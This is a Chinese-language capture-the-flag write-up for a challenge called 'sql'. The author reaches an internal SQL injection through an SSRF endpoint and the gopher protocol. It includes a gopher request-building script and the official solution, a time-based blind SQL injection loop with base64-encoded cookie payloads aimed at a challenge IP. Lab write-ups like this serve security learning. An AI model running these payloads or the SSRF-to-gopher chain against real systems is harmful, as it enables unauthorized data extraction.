题目如上,既然这道题的名称就是sql,那么就是让我们找到sql注入点。题目下面介绍说是签到题,我信了,然后我人麻了。。。我以为签到题可能就是注入点直接给我们了,然而并不是,这是一道较为复杂的题,起码对我来说是的。这道题包含gopher协议结合ssrf漏洞的sql注入。
首先,在页面上有两个输入框,进行尝试了下,发现不是注入点,然后我们看到请求返回包中,存在use.php提示,并且Set-Cookie: this_is_your_cookie=deleted;(后面我们发现此处存在一个大坑。)
在use.php文件中,发现存在一个远程请求的功能,怀疑此处是ssrf漏洞,使用http协议进行尝试了很多,但没反应。
下一步,使用gopher协议。
在查找gopher协议时,看到一篇文章介绍了一款使用gopher协议注入数据库直接写shell的工具,我试了下,发现依旧不行。
这是生成的payload,使用这个生成的payload,虽说没有直接获取shell,但有发现,此处确实可以使用gopher协议,且该服务器使用的是MariaDB数据库。
下一步,使用gopher协议对其进行注入,但重要的问题来了,注入点呢?这个时候就想到了下面这个图
cookie处应该是注入点。但,麻烦的是怎么生成gopher协议下的正常访问体?并且需要测试cookie处怎么闭合。
找到了一个脚本
import urllib.parse
payload = """
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
uname=admin&passwd=admin
"""
tmp = urllib.parse.quote(payload) #对payload中的特殊字符进行编码
new = tmp.replace('%0A','%0D%0A') #CRLFL漏洞
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)# 对新增的部分继续编码
print(result)
上面脚本胜场gopher协议的请求体。
下面是官方write
import requests
import time
import base64
url = "http://61.147.171.105:54616/use.php?url="
flag = ""
for pos in range(1, 50):
for i in range(33, 127):
# poc="') union select 1,2,if(1=1,sleep(5),1) # "
# security
# poc="') union select 1,2,if(ascii( substr((database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "
# flag
# poc="') union select 1,2,if(ascii( substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "
poc = "') union select 1,2,if(ascii( substr((select * from flag)," + str(pos) + ",1) )=" + str(
i) + ",sleep(2),1) # "
bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8")
final_poc = "gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D" + bs + "%3B%250d%250a"
t1 = time.time()
res = requests.get(url + final_poc)
t2 = time.time()
if (t2 - t1 > 2):
flag += chr(i)
print(flag)
break
print(flag)
这个使用的是基于时间的盲注,获取到flag
cookie值是将payload进行base64转码后的值,但这个题目处,并没有任何提示,就很无语。
总体来说,这个题,难度对我来说是比较大的,因为我对于gopher协议接触不多,不太知道gopher协议的用处,不过这次长知识了。
gopher协议总结:https://blog.csdn.net/unexpectedthing/article/details/121667791?spm=1001.2101.3001.6650.5&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-5-121667791-blog-124758902.pc_relevant_3mothn_strategy_recovery&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-5-121667791-blog-124758902.pc_relevant_3mothn_strategy_recovery&utm_relevant_index=6
SSRF学习(4)Gopher协议POST请求:https://blog.csdn.net/m0_64417923/article/details/124758902